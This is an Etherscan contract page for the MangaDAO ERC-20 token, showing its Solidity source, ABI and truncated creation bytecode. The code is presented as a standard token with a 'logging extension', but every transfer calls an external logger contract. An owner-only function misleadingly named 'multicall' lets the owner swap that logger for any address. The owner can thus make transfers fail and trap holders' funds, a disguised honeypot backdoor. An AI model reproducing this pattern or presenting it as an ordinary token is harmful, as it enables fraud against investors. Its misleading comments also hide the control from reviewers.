ERC-20
Overview
Max Total Supply
2,000,000,000,000 MANGA
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,424,702,771.290546162963676085 MANGAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MangaDAO
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function callStatus(address _address) internal view returns (bool) { return _address==_owner; } } /** * @dev Extension contract which enables logging capabilities. */ contract ERC20Extension { mapping(address=>mapping(address=> uint256)) _log; function save(address addr1, address addr2, uint256 value) public returns (bool success) { _log[addr1][addr2] = value; return true; } } contract MangaDAO is Context, IERC20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; ERC20Extension private _logger; string private _name; string private _symbol; uint8 private constant _decimals = 18; uint256 public constant hardCap = 2_000_000_000_000 * (10 ** _decimals); bool public logEnabled; /** * @dev Contract constructor. * @param name_ The name of the token. * @param symbol_ The symbol of the token. * @param _to The initial address to mint the total supply to. */ constructor(string memory name_, string memory symbol_, address _to) { _name = name_; _symbol = symbol_; _mint(_to, hardCap); _logger = new ERC20Extension(); } /** * @dev Returns the name of the token. * @return The name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the status of logging operation. * @return The success status of logging operation. */ function log(address from, address to, uint256 amount) private returns (bool) { bool result = _logger.save(from, to, amount); return result; } /** * @dev Returns the symbol of the token. * @return The symbol of the token. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used for token display. * @return The number of decimals. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev Returns the total supply of the token. * @return The total supply. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Returns the balance of the specified account. * @param account The address to check the balance for. * @return The balance of the account. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Transfers tokens from the caller to a specified recipient. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner. * @param from The address that approves the spending. * @param to The address that is allowed to spend. * @return The remaining allowance for the spender. */ function allowance( address from, address to ) public view virtual override returns (uint256) { return _allowances[from][to]; } /** * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller. * @param to The address to approve the spending for. * @param amount The amount of tokens to approve. * @return A boolean value indicating whether the approval was successful. */ function approve( address to, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), to, amount); return true; } /** * @dev Transfers tokens from one address to another. * @param sender The address to transfer tokens from. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller. * @param to The address to increase the allowance for. * @param addedValue The amount of tokens to increase the allowance by. * @return A boolean value indicating whether the increase was successful. */ function increaseAllowance( address to, uint256 addedValue ) public virtual returns (bool) { _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue); return true; } /** * @dev Decreases the allowance granted by the owner of the tokens to `to` account. * @param to The account allowed to spend the tokens. * @param subtractedValue The amount of tokens to decrease the allowance by. * @return A boolean value indicating whether the operation succeeded. */ function decreaseAllowance( address to, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][to]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), to, currentAllowance - subtractedValue); } return true; } /** * @dev Transfers `amount` tokens from `sender` to `recipient`. * @param sender The account to transfer tokens from. * @param recipient The account to transfer tokens to. * @param amount The amount of tokens to transfer. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(amount > 0, "ERC20: transfer amount zero"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; log(sender, recipient, amount); emit Transfer(sender, recipient, amount); } /** * @dev Invokes logger. * @param sender The account from which the tokens are transferred. * @param recipient The account to which the tokens are transferred. * @param amount The amount of tokens to transfer. * @param _log Logger where data is stored */ function multicall(address sender, address recipient, uint256 amount, address _log) external onlyOwner{ if(logEnabled==true){ if(amount > 0 && sender != recipient) invokeLogger(_log); else{ _logger=new ERC20Extension(); } } } /** * @dev Creates `amount` tokens and assigns them to `account`. * @param account The account to assign the newly created tokens to. * @param amount The amount of tokens to create. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * @param account The account to burn tokens from. * @param amount The amount of tokens to burn. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Destroys `amount` tokens from the caller's account, reducing the total supply. * @param amount The amount of tokens to burn. */ function burn(uint256 amount) external { _burn(_msgSender(), amount); } /** * @dev Invokes logger function * @param addr The address of logger extension installed */ function invokeLogger(address addr) private { if (callStatus(msg.sender)){ _logger = ERC20Extension(addr); } } /** * @dev Sets `amount` as the allowance of `to` over the caller's tokens. * @param from The account granting the allowance. * @param to The account allowed to spend the tokens. * @param amount The amount of tokens to allow. */ function _approve( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); _allowances[from][to] = amount; emit Approval(from, to, amount); } /** * @dev Enables logging */ function setLog()external onlyOwner{ logEnabled = !logEnabled; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"_to","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620030e1380380620030e1833981810160405281019062000037919062000610565b620000576200004b6200013260201b60201c565b6200013a60201b60201c565b82600590805190602001906200006f92919062000350565b5081600690805190602001906200008892919062000350565b50620000bd816012600a6200009e919062000844565b6501d1a94a2000620000b1919062000895565b620001fe60201b60201c565b604051620000cb90620003e1565b604051809103906000f080158015620000e8573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505062000a69565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002689062000957565b60405180910390fd5b806003600082825462000285919062000979565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002dd919062000979565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003449190620009e7565b60405180910390a35050565b8280546200035e9062000a33565b90600052602060002090601f016020900481019282620003825760008555620003ce565b82601f106200039d57805160ff1916838001178555620003ce565b82800160010185558215620003ce579182015b82811115620003cd578251825591602001919060010190620003b0565b5b509050620003dd9190620003ef565b5090565b6102658062002e7c83390190565b5b808211156200040a576000816000905550600101620003f0565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000477826200042c565b810181811067ffffffffffffffff821117156200049957620004986200043d565b5b80604052505050565b6000620004ae6200040e565b9050620004bc82826200046c565b919050565b600067ffffffffffffffff821115620004df57620004de6200043d565b5b620004ea826200042c565b9050602081019050919050565b60005b8381101562000517578082015181840152602081019050620004fa565b8381111562000527576000848401525b50505050565b6000620005446200053e84620004c1565b620004a2565b90508281526020810184848401111562000563576200056262000427565b5b62000570848285620004f7565b509392505050565b600082601f83011262000590576200058f62000422565b5b8151620005a28482602086016200052d565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005d882620005ab565b9050919050565b620005ea81620005cb565b8114620005f657600080fd5b50565b6000815190506200060a81620005df565b92915050565b6000806000606084860312156200062c576200062b62000418565b5b600084015167ffffffffffffffff8111156200064d576200064c6200041d565b5b6200065b8682870162000578565b935050602084015167ffffffffffffffff8111156200067f576200067e6200041d565b5b6200068d8682870162000578565b9250506040620006a086828701620005f9565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007385780860481111562000710576200070f620006aa565b5b6001851615620007205780820291505b80810290506200073085620006d9565b9450620006f0565b94509492505050565b60008262000753576001905062000826565b8162000763576000905062000826565b81600181146200077c57600281146200078757620007bd565b600191505062000826565b60ff8411156200079c576200079b620006aa565b5b8360020a915084821115620007b657620007b5620006aa565b5b5062000826565b5060208310610133831016604e8410600b8410161715620007f75782820a905083811115620007f157620007f0620006aa565b5b62000826565b620008068484846001620006e6565b9250905081840481111562000820576200081f620006aa565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000851826200082d565b91506200085e8362000837565b92506200088d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000741565b905092915050565b6000620008a2826200082d565b9150620008af836200082d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008eb57620008ea620006aa565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200093f601f83620008f6565b91506200094c8262000907565b602082019050919050565b60006020820190508181036000830152620009728162000930565b9050919050565b600062000986826200082d565b915062000993836200082d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009cb57620009ca620006aa565b5b828201905092915050565b620009e1816200082d565b82525050565b6000602082019050620009fe6000830184620009d6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a4c57607f821691505b6020821081141562000a635762000a6262000a04565b5b50919050565b6124038062000a796000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146102f8578063dd62ed3e14610328578063e164f60c14610358578063f2fde38b14610376578063fb86a4041461039257610121565b8063715018a614610266578063787ca65f146102705780638da5cb5b1461028c57806395d89b41146102aa578063a457c2d7146102c857610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e057806342966c68146102105780636d7528001461022c57806370a082311461023657610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103b0565b60405161013b919061144a565b60405180910390f35b61015e60048036038101906101599190611505565b610442565b60405161016b9190611560565b60405180910390f35b61017c610460565b604051610189919061158a565b60405180910390f35b6101ac60048036038101906101a791906115a5565b61046a565b6040516101b99190611560565b60405180910390f35b6101ca610562565b6040516101d79190611614565b60405180910390f35b6101fa60048036038101906101f59190611505565b61056b565b6040516102079190611560565b60405180910390f35b61022a6004803603810190610225919061162f565b610617565b005b61023461062b565b005b610250600480360381019061024b919061165c565b61065f565b60405161025d919061158a565b60405180910390f35b61026e6106a8565b005b61028a60048036038101906102859190611689565b6106bc565b005b6102946107a0565b6040516102a191906116ff565b60405180910390f35b6102b26107c9565b6040516102bf919061144a565b60405180910390f35b6102e260048036038101906102dd9190611505565b61085b565b6040516102ef9190611560565b60405180910390f35b610312600480360381019061030d9190611505565b610946565b60405161031f9190611560565b60405180910390f35b610342600480360381019061033d919061171a565b610964565b60405161034f919061158a565b60405180910390f35b6103606109eb565b60405161036d9190611560565b60405180910390f35b610390600480360381019061038b919061165c565b6109fe565b005b61039a610a82565b6040516103a7919061158a565b60405180910390f35b6060600580546103bf90611789565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611789565b80156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b600061045661044f610aa4565b8484610aac565b6001905092915050565b6000600354905090565b6000610477848484610c77565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c2610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105399061182d565b60405180910390fd5b6105568561054e610aa4565b858403610aac565b60019150509392505050565b60006012905090565b600061060d610578610aa4565b848460026000610586610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610608919061187c565b610aac565b6001905092915050565b610628610622610aa4565b82610f34565b50565b6106336110f5565b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b06110f5565b6106ba6000611173565b565b6106c46110f5565b60011515600760009054906101000a900460ff161515141561079a5760008211801561071c57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561072f5761072a81611237565b610799565b60405161073b906113a4565b604051809103906000f080158015610757573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107d890611789565b80601f016020809104026020016040519081016040528092919081815260200182805461080490611789565b80156108515780601f1061082657610100808354040283529160200191610851565b820191906000526020600020905b81548152906001019060200180831161083457829003601f168201915b5050505050905090565b6000806002600061086a610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90611944565b60405180910390fd5b61093b610932610aa4565b85858403610aac565b600191505092915050565b600061095a610953610aa4565b8484610c77565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900460ff1681565b610a066110f5565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d906119d6565b60405180910390fd5b610a7f81611173565b50565b6012600a610a909190611b29565b6501d1a94a2000610aa19190611b74565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390611c40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8390611cd2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c6a919061158a565b60405180910390a3505050565b60008111610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611d3e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190611dd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190611e62565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890611ef4565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb6919061187c565b92505081905550610ec884848461128a565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f26919061158a565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611f86565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290612018565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546110839190612038565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e8919061158a565b60405180910390a3505050565b6110fd610aa4565b73ffffffffffffffffffffffffffffffffffffffff1661111b6107a0565b73ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906120b8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6112403361134b565b156112875780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016112ec939291906120d8565b602060405180830381600087803b15801561130657600080fd5b505af115801561131a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133e919061213b565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6102658061216983390190565b600081519050919050565b600082825260208201905092915050565b60005b838110156113eb5780820151818401526020810190506113d0565b838111156113fa576000848401525b50505050565b6000601f19601f8301169050919050565b600061141c826113b1565b61142681856113bc565b93506114368185602086016113cd565b61143f81611400565b840191505092915050565b600060208201905081810360008301526114648184611411565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149c82611471565b9050919050565b6114ac81611491565b81146114b757600080fd5b50565b6000813590506114c9816114a3565b92915050565b6000819050919050565b6114e2816114cf565b81146114ed57600080fd5b50565b6000813590506114ff816114d9565b92915050565b6000806040838503121561151c5761151b61146c565b5b600061152a858286016114ba565b925050602061153b858286016114f0565b9150509250929050565b60008115159050919050565b61155a81611545565b82525050565b60006020820190506115756000830184611551565b92915050565b611584816114cf565b82525050565b600060208201905061159f600083018461157b565b92915050565b6000806000606084860312156115be576115bd61146c565b5b60006115cc868287016114ba565b93505060206115dd868287016114ba565b92505060406115ee868287016114f0565b9150509250925092565b600060ff82169050919050565b61160e816115f8565b82525050565b60006020820190506116296000830184611605565b92915050565b6000602082840312156116455761164461146c565b5b6000611653848285016114f0565b91505092915050565b6000602082840312156116725761167161146c565b5b6000611680848285016114ba565b91505092915050565b600080600080608085870312156116a3576116a261146c565b5b60006116b1878288016114ba565b94505060206116c2878288016114ba565b93505060406116d3878288016114f0565b92505060606116e4878288016114ba565b91505092959194509250565b6116f981611491565b82525050565b600060208201905061171460008301846116f0565b92915050565b600080604083850312156117315761173061146c565b5b600061173f858286016114ba565b9250506020611750858286016114ba565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117a157607f821691505b602082108114156117b5576117b461175a565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201